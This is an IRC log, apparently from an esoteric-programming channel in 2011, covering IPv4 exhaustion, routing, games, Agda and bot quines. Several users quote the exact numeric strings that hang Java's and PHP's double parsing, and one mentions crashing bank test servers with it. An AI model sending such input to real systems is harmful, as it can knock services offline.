12:06:06 <fizzie> <fizzie> In the July 1978 issue (vol 3, num 7).
12:07:03 <impomatic> Thanks :-)
12:33:41 -!- Phantom_Hoover has joined.
12:34:19 -!- nddrylliog has quit (Quit: Ex-Chat).
12:48:34 * ais523 golfs his or her Slashdot signature
12:48:49 <ais523> (it's an INTERCAL addition without using the stdlib, I noticed a way to save another character)
12:48:54 <Phantom_Hoover> ais523, your gender is not ambiguous here.
12:49:11 <ais523> yep, I just feel awkward using gendered pronouns
12:50:20 -!- fizzie has quit (Read error: Operation timed out).
12:52:26 -!- impomatic has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.16/20101130074636]).
12:52:36 -!- fizzie has joined.
12:53:48 <ais523> hmm, apparently someone returned 45/8
12:53:51 <ais523> but to ARIN, not IANA
12:53:54 <ais523> so IANA is still out
12:55:53 <fizzie> "Interop Show Network"
12:56:32 <fizzie> Yeah, it might not make sense to have a /8 specifically for their trade shows.
12:57:36 <fizzie> And IANA isn't out yet, they haven't officially distributed those last five blocks yet. Admittedly that's just a technicality.
12:58:59 -!- Lymia_ has joined.
12:59:42 <Ilari> Looking at the press confrence speakers: They appear to be the the highest-ranking persons in ICANN (representing IANA), NRO (represents RIRs), ISOC and IAB. You don't have that sort of cast if one isn't announcing something really, really major...
13:00:20 <fizzie> They're going to announce what they're going to have for lunch next week.
13:00:25 <Ilari> ... Such as announcing full IANA depletion.
13:00:35 <ais523> yep, it's bound to be full IANA depletion
13:00:48 <ais523> and they're holding off on the automatic 5-block allocation until the press conference to get the timings worked out
13:02:08 -!- Lymia__ has joined.
13:02:25 -!- Lymia has quit (Ping timeout: 240 seconds).
13:03:30 <Ilari> APNIC doesn't have allocation policy change on IANA depletion (but the final /8 will be reserved). IIRC, some RIRs do have policy changes.
13:04:49 -!- Lymia_ has quit (Ping timeout: 240 seconds).
13:05:13 <fizzie> I like it how they talk about how the final-five-blocks policy will be "triggered". It gives me a clear visual image of some sort of a ridiculously huge mousetrap-like contraption.
13:05:43 <fizzie> "Oh no, you've triggered the Global Policy for the Allocation of the Remaining IPv4 Address Space! Everyone, run for your lives!"
13:06:03 -!- Lymia_ has joined.
13:06:59 <fizzie> RIPE also has only a "Allocations from the last /8" special policy, not anything that'd automatically change after the IANA event.
13:08:26 <Ilari> IIRC, ARIN policies do change...
13:09:13 -!- Lymia__ has quit (Ping timeout: 240 seconds).
13:10:54 <fizzie> "When ARIN receives its last /8 IPv4 allocation from IANA, a contiguous /10 IPv4 block will be set aside and dedicated to facilitate IPv6 deployment. Allocations and assignments from this block must be justified by immediate IPv6 deployment requirements."
13:11:01 <fizzie> Well, they do that immediately, I guess.
13:11:23 <fizzie> ("Examples of such needs include: IPv4 addresses for key dual stack DNS servers, and NAT-PT or NAT464 translators.")
13:15:17 <fizzie> Here's a humorous-in-retrospect RIPE position statement from October 2007:
13:15:21 <fizzie> "We recommend that service providers make their services available over IPv6. We urge those who will need significant new address resources to deploy IPv6. We encourage governments to play their part in the deployment of IPv6 and in particular to ensure that all citizens will be able to participate in the future information society. We urge that the widespread deployment of IPv6 be made a high priority by all stakeholders."
13:15:28 <fizzie> Yeah, that might have been a good idea.
13:16:12 <ais523> ah, so ARIN's keeping back a /10 that can only be allocated for the purpose of if extra IPv4 addresses are needed to switch over to IPv6 for some reason?
13:18:19 <fizzie> Yes. Though there were quite some requirements for qualifying to get addresses from that block.
13:19:24 <fizzie> (And you can only get something between /24 .. /28 out of that.)
13:20:31 <fizzie> RIPE (and I think the others) also have a "the LIR must already have at least one IPv6 assignment before it can get any from the final /8" policy.
13:21:11 <Phantom_Hoover> God, Headshoots is even funnier than Boatmurdered.
13:21:53 <ais523> Boatmurdered has a better name, though
13:22:33 <ais523> also, I found Headshoots quite hard to follow
13:22:46 <ais523> although I agree, it's hilarious
13:23:11 <Phantom_Hoover> I love the Room Outside Of Space.
13:25:46 <ais523> hmm, apparently Java is also crashed by Double.parseDouble("2.2250738585072012e-308")
13:26:15 <ais523> for a related reason
13:26:19 -!- asiekierka has joined.
13:26:20 <ais523> (the bug was first reported in PHP)
13:27:21 <Phantom_Hoover> (Headshoots is also way more awe-inspiring than Boatmurdered.)
13:27:24 <fizzie> ais523: Yes, and the compiler will hang if you try to compile "double d = 2.2250738585072012e-308;" and print it out.
13:27:32 <ais523> fizzie: indeed
13:27:47 <ais523> (the number in question is DBL_MIN with one digit changed, IIRC)
13:28:08 <fizzie> I guess the compiler-hanging problem has less denial-of-servicey implications, but still.
13:28:22 <ais523> ah, PHP's hang happens with the last digit as 1, rather than 2
13:28:37 <fizzie> It's the same bug "the other way around", they say.
13:28:46 <fizzie> "Like PHP, Java gets stuck crossing the normalized/unnormalized border, but in the opposite direction: it starts with an estimate just below DBL_MIN — 0x0.fffffffffffffp-1022 — and is trying to get up to DBL_MIN."
13:28:57 <kfr> ais523 lol yeah we just went over this in #haskell
13:29:07 <ais523> DBL_MIN apparently ends with a 4
13:29:20 <ais523> so it's definitely an edge case, but who'd have thought of testing it?
13:31:41 <ais523> OpenOffice.org Calc seems to be OK with similar numbers (haven't updated to LibreOffice yet)
13:31:43 <ais523> I wonder about Excel?
13:38:41 <Phantom_Hoover> LibreOffice?
13:40:31 -!- ais523_ has joined.
13:42:13 <ais523_> <myrryr> It can bring down some of the banking systems :/ I know, I just tested it on the test servers we have at work.... All I can say is ^#%$ me that is quite something.
13:53:34 <Gregor> How's IPv4?
13:57:35 <fizzie> Gregor: Feeling exhausted, I believe.
13:57:45 <fizzie> (Maybe not quite.)
13:58:27 <fizzie> If you want a really short summary, APNIC got their two blocks, and IANA's very likely to have an event about their depletion the day after tomorrow.
13:58:38 <fizzie> (They've invited journalists and everything.)
13:58:47 <fizzie> (Perhaps there will even be cake.)
14:06:51 <ais523_> yep, the final allocation has been triggered
14:06:59 <ais523_> but hasn't happened yet, so that they can have a press conference about it when they do
14:07:21 <ais523_> 45/8 was returned to ARIN, IIRC, which gives them an extra block to work with
14:07:27 <ais523_> but doesn't prevent IANA being depleted
14:13:38 -!- copumpkin has quit (Ping timeout: 264 seconds).
14:14:04 -!- copumpkin has joined.
14:14:12 -!- cheater- has quit (Ping timeout: 240 seconds).
14:16:13 <Ilari> Hmm... cat /proc/sys/net/ipv4/route/max_size --> 4194304 ... Not even DFZ is that large...
14:16:42 -!- cheater- has joined.
14:22:27 -!- MigoMipo has joined.
14:22:58 <fizzie> Is that thing in bytes or numbers of routes?
14:23:37 <fizzie> $ cat /proc/sys/net/ipv4/route/max_size
14:23:37 <fizzie> 1048576
14:23:51 <fizzie> My table is smaller. :v
14:24:05 <fizzie> s#v#/#
14:25:18 <Ilari> Maximum number of routes...
14:25:35 <Ilari> You presumably have less RAM...
14:28:34 <Ilari> When lots of IPv4 traffic is much less than it is now and DFZ has exploded, running some PC as IPv4 DFZ router might be an option...
14:29:48 <Ilari> Remember it doesn't take a lot of major sites switching to radically slash the IPv4 traffic.
14:30:29 <Ilari> (assuming IPv6 is available)
14:30:49 <fizzie> There's 2G of RAM on that particular box.
14:31:02 -!- Lymia__ has joined.
14:31:40 <Ilari> This box has 8GB...
14:32:32 <fizzie> Looks like a linear dependency. :p
14:34:23 -!- Lymia_ has quit (Ping timeout: 240 seconds).
14:35:51 <Ilari> Not exactly... These figures (4M and 1M) have ratio of 1 entry per 2kiB memory. I have another computer with ratio of 8KiB per entry.
14:38:13 <fizzie> Ilari: My phone says 327y8 routes for 256M of memory.
14:39:03 <fizzie> That's 8 KiB per route too.
14:39:10 <ais523_> what's DFZ?
14:39:16 <Ilari> Default-Free Zone.
14:39:39 <ais523_> oh, an area where you need an explicit route for every prefix?
14:39:49 <ais523_> ouch
14:40:48 <Ilari> Yes.
14:42:53 <Ilari> Using PC as router might be slow, but it could handle insane number of routes at once...
14:44:52 <ais523_> the really expensive routers that the backbone use are pure custom-built hardware that can do the routing in parallel
14:45:08 <ais523_> presumably they actually need them, or they wouldn't spend that sort of money, but who knows
14:50:20 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
14:52:46 -!- asiekierka has quit (Ping timeout: 240 seconds).
14:54:24 <fizzie> There are some rather nice (if experimental) ways of (ab)using the caches and virtual-address translation machinery of x86 (and others) to do pretty fast routing-table longest-matching-prefix lookups.
14:54:47 <fizzie> Still, there's interrupt overhead from a separate NIC and so on.
14:54:50 <fizzie> Even the relatively puny FICIX (the Finnish commercial traffic hub) sees about 4 Mpps (million packets per second) of traffic over their switches; that's (for the routers on the sides that see large fractions of it) not too much time to spend on a single packet.
14:56:11 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
14:57:47 -!- cheater- has quit (Ping timeout: 240 seconds).
14:59:54 -!- cheater- has joined.
15:01:20 <Ilari> Ah yeah, paging... x64 got rid of (most of) segmentation but still supports paging...
15:06:06 <fizzie> http://ieeexplore.ieee.org/xpls/abs_all.jsp?arnumber=752162&tag=1 is I think what I read.
15:06:33 <fizzie> It's an old paper, from '99.
15:08:36 <fizzie> Pentium II and Linux 2.0.30, how quaint now. :p
15:09:55 <fizzie> But it has 133 subsequent citations, I think there was some interesting stuff there too.
15:10:39 <fizzie> Some of it is of course exactly that sort of custom-hardware routers.
15:20:50 -!- copumpkin has joined.
15:25:56 -!- Mathnerd314 has joined.
15:29:32 -!- elliott has joined.
15:30:10 -!- Sgeo has joined.
15:30:53 -!- zzo38 has joined.
15:32:48 <Phantom_Hoover> The ending of Headshoots is quite possibly the most awesomely bizarre thing ever.
15:32:55 <ais523_> it ended?
15:32:59 <ais523_> you'll have to remind me of what happened
15:33:00 <Phantom_Hoover> ais523_, exactly.
15:33:02 -!- zzo38 has set topic: Rust monsters have to eat, too | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
15:33:47 <ais523_> IIRC, someone made a deliberate attempt to kill it by setting off HFS /and/ a tantrum spiral, and someone else managed to revive it by making a sealed area out of part of the fortress and locking the rest of the world out
15:33:55 -!- FireFly has joined.
15:33:55 -!- elliott has set topic: Rust monsters are immortal and have no need to eat | http://208.78.103.223/esoteric/ | http://tunes.org/~nef/logs/esoteric/?C=M;O=D.
15:33:58 <elliott> hmm, ais523_ plays DF?
15:34:01 <ais523_> elliott: no
15:34:01 <elliott> or just knows about it?
15:34:11 <ais523_> but I tend to percolate a lot of info about that sort of thing
15:34:15 <Phantom_Hoover> ais523_, yeah, that wasn't even halfway through.
15:34:28 <elliott> ais523_: I can explain Minecraft perfectly to you, then:
15:34:38 <Phantom_Hoover> By the end HolisticDetective and Nemo could have each taken on Cthulhu and won hands-down.
15:35:06 <ais523_> elliott: inspired by Dwarf Fortress, but with a simpler interface, simpler mechanics, and better graphics, and you do everything yourself rather than ordering AI dwarves to do it?
15:35:10 <elliott> ais523_: It's like Dwarf Fortress, except dumbed down, with simpler game mechanics, where you're the only dwarf, and have an unreasonable compulsion to build random things.
15:35:15 <elliott> ha
15:35:19 <elliott> semi-snap
15:35:27 <ais523_> I've percolated quite a lot of Minecraft, too
15:35:31 <Phantom_Hoover> Headshoots didn't even end: a couple of people just decided to flood it with magma and then finally make HD and Nemo skeletons, which wiped everyone else out.
15:36:10 <ais523_> elliott: meanwhile, I'm laughing at Java having almost the same bug as PHP
15:36:20 <elliott> ais523_: the floating point stuff?
15:36:20 <ais523_> and showing all my students, who all had the same reaction more or less
15:36:23 <ais523_> elliott: yes
15:36:24 <Phantom_Hoover> http://lparchive.org/Dwarf-Fortress-Headshoots/Update%2079/ is an analysis of their stats, which are apparently all off the scale.
15:36:31 <elliott> ais523_: let's be fair, that's a very subtle bug
15:36:38 <ais523_> PHP crashes if you change the last digit of DBL_MIN from 4 to 1
15:36:41 <elliott> ais523_: it was quite arguably /gcc's/ bug
15:36:43 <ais523_> Java crashes if you change it from 4 to 2
15:36:45 <elliott> oh
15:36:49 <elliott> ais523_: I meant the recent one
15:36:53 <elliott> where parsing a float could hang PHP
15:36:57 <ais523_> elliott: I do mean that one
15:36:59 <ais523_> it's a double, not a float
15:37:00 <elliott> ah
15:37:20 <ais523_> DBL_MIN is 2.2250738585072014e-308; PHP hangs on 2.2250738585072011e-308, Java hangs on 2.2250738585072012e-308
15:37:29 <elliott> ais523_: well, I can't really blame anyone for having it, considering that IIRC the bug was in a library of common procedures -- not written by the PHP devs, some "standard" stuff to do it -- and to do with x87
15:37:34 <ais523_> and people are finding other applications that are crashed by similar numberlike strings
15:37:34 <elliott> and volatile variables
15:37:40 <elliott> and probably gcc's fault
15:37:52 <Phantom_Hoover> I mean, I think Headshoots might be the closest thing to victory you can get in DF.
15:38:00 <ais523_> elliott: I can blame the PHP devs for it, specifically because the library they copied had a big comment saying "this code does not work on x87"
15:38:09 <ais523_> I'd forgive them were it not for that
15:38:18 <elliott> ais523_: yes, but /it's not meant to/
15:38:23 <elliott> ais523_: it was a gcc "optimisation"
15:38:27 <elliott> ais523_: normally, the code executed in SSE
15:38:31 <ais523_> it's not even gcc's fault
15:38:33 <elliott> ais523_: but gcc decided to be Smart and moved one to x87
15:38:43 <elliott> ais523_: optimisations changing behaviour == lol
15:39:17 <ais523_> elliott: err, no? optimising changing undefined behaviour == expected
15:39:38 <ais523_> luckily C99 defined it, which gives gcc scope for working out what should actually happen
15:39:46 <elliott> ais523_: well, then it's the code's fault
15:39:52 <ais523_> the issue with C89 is that gcc can't really fix the bug because the intended semantics are completely unclear
15:39:52 <elliott> and the PHP devs didn't write it
15:40:33 <ais523_> elliott: I'd agree, except for the code saying which archs it works on, with x87 not being one of them
15:40:49 <kfr> PHP is the most impressive esolang I've seen so far
15:41:02 <elliott> ais523_: except it /didn't/ run on x87 for the mostpart
15:43:52 <Phantom_Hoover> kfr, clearly you haven't seen M4.
15:44:02 <kfr> What's that?
15:44:17 <Phantom_Hoover> Google it.
15:44:22 <Phantom_Hoover> YOUR MIND WILL BE BLOWN
15:44:33 <Phantom_Hoover> i.e. CPP for the terminally insane.
15:45:15 <kfr> http://en.wikipedia.org/wiki/M4_%28computer_language%29
15:45:58 <Phantom_Hoover> You should eschew CPP for it.
15:47:18 <elliott> 02:32:53 <kfr> What are those crazy programming languages where the correctness of the code is part of defining the algorithm?
15:47:19 <elliott> 02:33:15 <kfr> I think I recall some three letter initialism one where quicksort is like 150+ lines
15:47:19 <elliott> 02:33:26 <kfr> It may be related to formal proof systems
15:47:19 <elliott> 02:35:04 <kfr> I should probably look into Agda/Coq and such at some point, too
15:47:19 <elliott> 02:35:09 <kfr> Learn about dependent typs
15:47:20 <elliott> 02:35:10 <kfr> types*
15:47:34 <elliott> (1) "Crazy"; well, computer proof systems, but more generally, languages with dependent types.
15:47:40 <elliott> (2) ATS, and _quicksort_ isn't 150 lines.
15:47:57 <elliott> _Quicksort that returns a proof that the array is sorted_ is something like that (_with_ whitespace and big comment block).
15:48:03 <elliott> The latter being something you can't even do in most languages.
15:48:15 <kfr> Wow, you're an avid log reader
15:48:29 <elliott> A lot of people here are, they've just been quiet lately.
15:48:35 * elliott waves to ais523_ and oerjan
15:48:41 <Phantom_Hoover> kfr, yesyesyes, we know you think that logs are The Man trying to keep you down.
15:48:46 <elliott> (3) Yes. (4) Agda is quite similar to ATS, sort of, at the core, but less applied. Coq is interesting.
15:49:35 <Phantom_Hoover> (Agda is an experiment in dependent typing under the delusion that it is a proof assistant.)
15:50:37 <kfr> o_O
15:50:39 <elliott> Phantom_Hoover: It isn't under that delusion.
15:50:46 <elliott> Idiots are under that delusion.
15:51:17 <Phantom_Hoover> Idiots a.k.a. most of its user base.
15:51:35 <elliott> Phantom_Hoover: Not really.
15:51:43 <elliott> Very few people use Agda.
15:51:50 <elliott> Those who do are pretty damn smart.
15:51:50 <Phantom_Hoover> A large part?
15:53:38 <kfr> Damn, Agda users are even more elitist than the Haskell ones?
15:53:42 <kfr> Now I need to switch...
15:53:44 <kfr> Curses.
15:53:51 <elliott> Phantom_Hoover: Name an idiot that uses Agda.
15:53:55 <elliott> kfr: I don't use Agda.
15:54:08 <kfr> elliott: Well I could do it
15:54:11 <Phantom_Hoover> Haskell users are elitist now?
15:54:17 <kfr> Phantom_Hoover yes
15:54:32 <elliott> I think /proving/ large theorems in Agda is just about impossible and a silly thing to try and do if not used to do something else in Agda.
15:54:42 <elliott> Phantom_Hoover has turned my off-hand remark into the Church of Anti-Agda. :p
15:55:03 <Phantom_Hoover> elliott, it is called a theorem prover in many, many places.
15:55:16 <elliott> Phantom_Hoover: Links. I very much doubt those calling it so use it.
15:55:23 <Phantom_Hoover> See: the WP article.
15:55:42 <elliott> I can link you to ten crap Wikipedia articles. :p
15:55:49 <elliott> (Related to computing.)
15:56:30 <kfr> "You know how they say that when you have a problem and you decide to use regular expressions to solve it, you now have two problems? Well, Haskell is the opposite in that regard. You start out with a problem, then you go through a lot of trouble to actually learn the language and then you no longer have the problem in the first place because you have lost interest in programming." - by Philip Wadler, from "Faith, Evolution, and Programming Languages", April
15:56:30 <kfr> 2007
15:56:32 <kfr> WP = ?
15:56:47 <elliott> Wikipedia.
15:59:10 <elliott> Phantom_Hoover: http://twitter.com/pigworker/status/25356492341252096 Oh noes an Agda user, teaching no less! Probably an idiot!
15:59:39 <kfr> Of course he's an idiot
15:59:43 <kfr> He uses Twitter
15:59:46 <Phantom_Hoover> That's Conor Whatthehellishislastname.
15:59:51 <elliott> kfr: /facepalm
15:59:55 <Phantom_Hoover> OH WAIT
15:59:56 <kfr> elliott indeed
16:00:00 <Phantom_Hoover> IT SAYS ON THE PAGE
16:00:06 <elliott> Phantom_Hoover: OH WOW
16:00:08 <elliott> WHAT TECHNOLOGY
16:00:09 <kfr> Having a Twitter account -> /facepalm
16:00:29 <elliott> kfr: Please enjoy your /ignore responsibly.
16:00:37 <elliott> Phantom_Hoover: Choice McBride quote: "@tom_harper One day, Agda may become sufficiently comfortable that it too induces somnambulance. Just now...it's a great way to feel alive."
16:00:53 <elliott> Also:
16:00:54 <Phantom_Hoover> kfr, well, you probably think he's an idiot because he is an IVORY TOWER ELITIST.
16:01:02 <elliott> <TacticalGrace> @edwinbrady @larrytheliquid I was cautious about using Unicode in Agda at first, but I'm completely sold on it now.
16:01:05 <elliott> <pigworker> @TacticalGrace The editor I use replaces all unicode symbols by blanks. I recommend it.
16:01:11 <elliott> <TacticalGrace> @pigworker That makes for some nice reading of the standard library :P
16:01:16 <elliott> <pigworker> @TacticalGrace It reminds me of Zaphod Beeblebrox's peril-sensitive sunglasses.
16:01:33 <Phantom_Hoover> XD
16:03:47 <kfr> Aww, Unicode hater
16:06:53 <Mathnerd314> well... unicode itself isn't so bad. it's just that nobody uses it.
16:07:26 <elliott> ...what.
16:07:30 <elliott> Everybody uses Unicode.
16:07:39 <kfr> Uhm I use Unicode on a daily basis
16:07:57 <Phantom_Hoover> kfr, the hate is not for Unicode per se, but for Agda's attitude towards it.
16:08:06 <elliott> There's no hate there.
16:08:08 <elliott> Sheesh.
16:08:09 <Ilari> IPv6 fun: If you get stale SLAAC addresses, there doesn't seem to be any (obvious) good way to clear them...
16:08:13 <kfr> 你是个白痴>->
16:08:16 <elliott> Phantom_Hoover: You are waaay to ideological about this :P
16:08:23 <ais523_> [16:03] * elliott waves to ais523_ and oerjan <--- ais523_ waves back, and didn't see the nickping because they were going through a student's work with them at the time
16:08:26 <Phantom_Hoover> elliott, I am rephrasing what kfr said.
16:08:32 <elliott> Phantom_Hoover: O.
16:08:33 <elliott> *Oh.
16:08:38 <Ilari> Doing ip -6 addr del on them would be obvious way, but that doesn't work.
16:08:48 <kfr> Phantom_Hoover that is not what I meant though :|
16:08:51 <kfr> Whatever
16:10:00 <ais523_> did esolangs invent the idea of using Unicode for commands all over the place?
16:10:10 <kfr> Doubt it
16:10:10 <ais523_> (the idea originally came from APL, but Unicode wasn't around at the time so it couldn't have used it)
16:10:25 <kfr> Haha yeah APL somewhat inspired me there
16:10:44 <kfr> I already thought of it before I had ever even heard of APL though
16:10:53 <kfr> I thought nobody had done it before
16:10:57 <kfr> then somebody showed APL to me
16:11:05 -!- BeholdMyGlory has joined.
16:11:17 <ais523_> elliott: I'm not convinced the Java floating point crash is x87-related at all
16:11:24 <elliott> possibly not
16:11:33 <ais523_> especially as it seems to happen on 64-bit processors too, unlike the PHP crash
16:12:01 <kfr> Well, that part of the ISA is the same on AMD64, no?
16:12:12 <ais523_> I love the comment from a redditor who works at a bank, and ran it on their test servers and crashed them
16:12:20 <kfr> LOL.
16:12:45 <ais523_> (he or she was right to do that test, I think, and has probably warned his or her boss already; better discover you have a problem in test, than in production)
16:12:59 <kfr> That PHP overlord originally claimed it was a bug in gcc, right?
16:13:07 <elliott> ais523_: are you /sure/ they've warned their boss? I'd be pretty scared to...
16:13:16 <ais523_> elliott: no
16:13:20 <elliott> Management doesn't exactly have a stunning track record of being understanding of those who discover vulnerabilities.
16:13:45 <ais523_> but I wouldn't be scared to, it would be a case of "the news is reporting a bug in Java, I checked to see if it affects us and it does, we'd better fix it before someone else uses it to bring down our system"
16:14:07 <ais523_> and management would be very unlikely to blame that on me unless they were in to shooting the messenger
16:14:17 <ais523_> perhaps you'd have to be careful in how you phrased your report to them
16:14:18 <elliott> ais523_: that seems terribly _optimistic_ to me
16:14:45 <ais523_> > read "2.2250738585072012e-308" :: Double
16:14:46 <lambdabot> 2.2250738585072014e-308
16:15:01 <kfr> Haha yeah we already did that in #haskell earlier today
16:15:10 <ais523_> > read "2.2250738585072011e-308" :: Double
16:15:11 <lambdabot> 2.225073858507201e-308
16:15:17 <elliott> ais523_: consider http://techcrunch.com/2011/01/31/plentyoffish-ceo-we-were-hacked-almost-extorted-so-i-emailed-the-hackers-mom/ (sorry for linking to techcrunch...), where as far as I can tell from reddit and elsewhere, the actual story is that a security company reported a vulnerability in the site to him, and he decided to go batshit insane and try and ruin their reputation
16:15:22 <ais523_> really, you'd need to try all possible last digits
16:15:29 <kfr> > text $ (\x -> x++' ':show x) "> text $ (\\x -> x++' ':show x)"
16:15:30 <lambdabot> > text $ (\x -> x++' ':show x) "> text $ (\\x -> x++' ':show x)"
16:15:41 <elliott> don't be silly; Haskell is perfect
16:15:43 <elliott> it can't have bugs!
16:15:53 <ais523_> elliott: actually working for a company, you probably have more leeway, especially if your job is to find bugs
16:16:17 <ais523_> companies tend to be more understanding when their own employees do it then when some random person emails them
16:16:20 <elliott> ais523_: oh, if your job is to find bugs, sure
16:16:24 <elliott> but if you're just some random undering...
16:16:27 <elliott> *underling
16:16:31 <elliott> I guess I'm cynical :)
16:16:48 <ais523_> if you're in a bank, and your job isn't to find bugs or create bugs, you probably wouldn't have the rights to send arbitrary input to the test server
16:16:54 <ais523_> s/create bugs/write code/
16:17:38 <ais523_> incidentally, use of show, repr, or similar constructs that languages have for escaping strings makes writing quines much easier
16:17:39 <elliott> true
16:17:46 <elliott> I prefer "create bugs"
16:18:39 <ais523_> :t text
16:18:40 <lambdabot> String -> Doc
16:18:48 <ais523_> Doc?
16:18:59 <ais523_> normally :t gives a good idea of what a function does, but not in this case
16:19:24 <elliott> @hoogle Doc
16:19:25 <lambdabot> Text.PrettyPrint.HughesPJ data Doc
16:19:25 <lambdabot> Language.Haskell.TH.PprLib type Doc = PprM Doc
16:19:25 <lambdabot> System.Directory getUserDocumentsDirectory :: IO FilePath
16:19:29 <elliott> ais523_: I think Doc is from prettyprinting
16:19:32 <ais523_> oh, it presumably makes lambdabot not quote its output
16:19:38 <elliott> no, it's more general than that
16:19:44 <elliott> that's just the Show instance of Doc that is doing that, I think
16:19:47 <elliott> > rparen
16:19:48 <lambdabot> )
16:19:49 <ais523_> elliott: yes, I mean that's what it's being used for in this situation
16:19:52 <elliott> > int 3
16:19:53 <lambdabot> 3
16:19:57 <ais523_> > "abc"
16:19:57 <elliott> > brackets (text "af")
16:19:58 <lambdabot> "abc"
16:19:58 <lambdabot> [af]
16:20:04 <elliott> > text "a" <> text "b"
16:20:05 <lambdabot> ab
16:20:07 <elliott> > text "a" <+> text "b"
16:20:08 <lambdabot> Ambiguous occurrence `<+>'
16:20:08 <lambdabot> It could refer to either `Control.Arrow.<+>', i...
16:20:13 <elliott> > text "a" $$ text "b"
16:20:13 <lambdabot> a
16:20:13 <lambdabot> b
16:20:16 <elliott> etc.
16:20:18 <elliott> ooh
16:20:23 <elliott> > text "a" $$ text "b" $$ text "c"
16:20:24 <lambdabot> a
16:20:24 <lambdabot> b
16:20:24 <lambdabot> c
16:20:30 <ais523_> of course its purpose isn't just to make lambdabot unescape
16:20:34 <elliott> > fix (text "a" $$)
16:20:35 <ais523_> but that's why it's involved in the lambdabot quine
16:20:38 <lambdabot> mueval-core: Time limit exceeded
16:20:41 <elliott> :(
16:20:44 <elliott> :t iterate
16:20:45 <lambdabot> forall a. (a -> a) -> a -> [a]
16:20:52 <ais523_> elliott: stop creating botloops
16:20:56 <ais523_> especially within a single bot
16:21:03 <elliott> ais523_: botloops are a channel tradition TYVM
16:21:04 <elliott> > (iterate (text "a" $$) (text "a")) !! 10
16:21:04 <lambdabot> a
16:21:05 <lambdabot> a
16:21:05 <lambdabot> a
16:21:05 <lambdabot> a
16:21:05 <lambdabot> a
16:21:06 <lambdabot> [6 @more lines]
16:21:09 <elliott> aww
16:21:10 <elliott> @more
16:21:10 <lambdabot> a
16:21:10 <lambdabot> a
16:21:12 <lambdabot> a
16:21:13 <kfr> lol
16:21:14 <lambdabot> a
16:21:16 <lambdabot> a
16:21:18 <elliott> it's too smart :)
16:21:20 <lambdabot> a
16:21:29 <ais523_> that was 11
16:21:37 <elliott> yes
16:21:39 <elliott> because the first is "a"
16:21:43 <elliott> and then it becomes "a\na"
16:21:43 <kfr> I hate how it adds a space in the beginning.
16:21:43 <elliott> etc.
16:22:40 <ais523_> <elliott> ais523_: botloops are a channel tradition TYVM <--- I know, that's why I know enough to avoid them
16:22:53 <ais523_> in fact, I fear it was me who started the tradition
16:23:21 <elliott> ais523_: I actually botlooped lambdabot and egobot recently
16:23:41 <ais523_> fizzie: has fungot been told to ignore lambdabot?
16:23:41 <fungot> ais523_: but there isn't afaik. i learnt from reading the wikipedia article
16:23:50 <elliott> ^ignore
16:23:52 <ais523_> oh, no need, it got the list from Wikipedia
16:23:56 <elliott> :D
16:23:57 <elliott> LIST OF BOTS
16:24:28 <kfr> What are botloops? Making bots give input to each other? PRIVMSG recursion?
16:24:51 <elliott> 11.01.20:12:51:36 <elliott> ?so !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);"; printf(s,34,s,34);//
16:24:51 <elliott> 11.01.20:12:51:36 <lambdabot> !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);"; printf(s,34,s,34);// not available
16:24:51 <elliott> 11.01.20:12:51:38 <EgoBot> ?so !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);"; printf(s,34,s,34);
16:24:51 <elliott> 11.01.20:12:51:38 <lambdabot> !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);"; printf(s,34,s,34); not available
16:24:52 <elliott> 11.01.20:12:51:51 <elliott> ?so !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);//"; printf(s,34,s,34);//
16:24:56 -!- elliott has left (?).
16:25:18 -!- elliott has joined.
16:25:23 <ais523_> kfr: it's when you get two bots to each output something that's valid input to the other
16:25:24 <kfr> Heh
16:25:30 <elliott> sorry
16:25:31 <kfr> I was thinking about that earlier today
16:25:32 <elliott> 11.01.20:12:51:51 <elliott> ?so !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);//"; printf(s,34,s,34);//
16:25:32 <elliott> 11.01.20:12:51:51 <lambdabot> !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);//"; printf(s,34,s,34);// not available
16:25:32 <elliott> 11.01.20:12:51:53 <EgoBot> ?so !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);//"; printf(s,34,s,34);//
16:25:33 <elliott> 11.01.20:12:51:53 <lambdabot> !c char *s="?so !c char *s=%c%s%c; printf(s,34,s,34);//"; printf(s,34,s,34);// not available
16:25:36 <elliott> there
16:25:38 <elliott> that's how i did it
16:25:41 <elliott> "?so" turned out to just be
16:25:44 <elliott> @source x
16:25:44 <lambdabot> x not available
16:25:45 <zzo38> m4 doesn't seem to be good for preprocessing C codes.
16:25:46 <elliott> @src x
16:25:47 <lambdabot> Source not found. The more you drive -- the dumber you get.
16:25:48 <ais523_> because they're bots, they don't realise they've been tricked, and keep sending messages back and forth indefinitely
16:26:06 <ais523_> normally, until one of them gets kicked
16:26:08 <elliott> zzo38: it was designed for processing Ratfor codes and Ratfor is very much like C
16:26:12 <zzo38> (Although they did try by making it send #line directives to the output)
16:26:13 <ais523_> or Freenode gets impatient
16:26:20 <elliott> made by the K in awk
16:26:38 <ais523_> elliott: that's a different K from the K in K&R?
16:26:43 <elliott> nope!
16:26:43 <elliott> :p
16:27:34 <kfr> What would you say is the most impressive esolang which is still being used to actually solve problems?
16:27:45 <kfr> i.e. it is actually practical
16:28:10 <ais523_> the only esolang that I've ever seen used for practical tasks is Befunge-98
16:28:26 <ais523_> and in those cases, not because it's actually good at them, but because people wanted to do them in an esolang and it seemed less awkward than the alternatives
16:28:30 <ais523_> hi fungot, btw
16:28:30 <fungot> ais523_: i just did the fnord fnord in scheme code? how can you use ' set_functions' anywhere in there?
16:29:24 <ais523_> some esolangs are very good at specific contrived tasks
16:29:45 <ais523_> like INTERCAL for bit-twiddling, or Brainfuck for certain types of text processing
16:30:01 <ais523_> but they're normally sufficiently bad at anything else that you can't easily write the support code needed to use them for those purposes
16:30:27 <ais523_> ^bf >,[>,]<[.<]!Hello, world!
16:30:27 <fungot> !dlrow ,olleH
16:30:47 <elliott> ^source
16:30:47 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
16:30:50 <ais523_> you're unlikely to find a shorter file-reverse in pretty much any other language
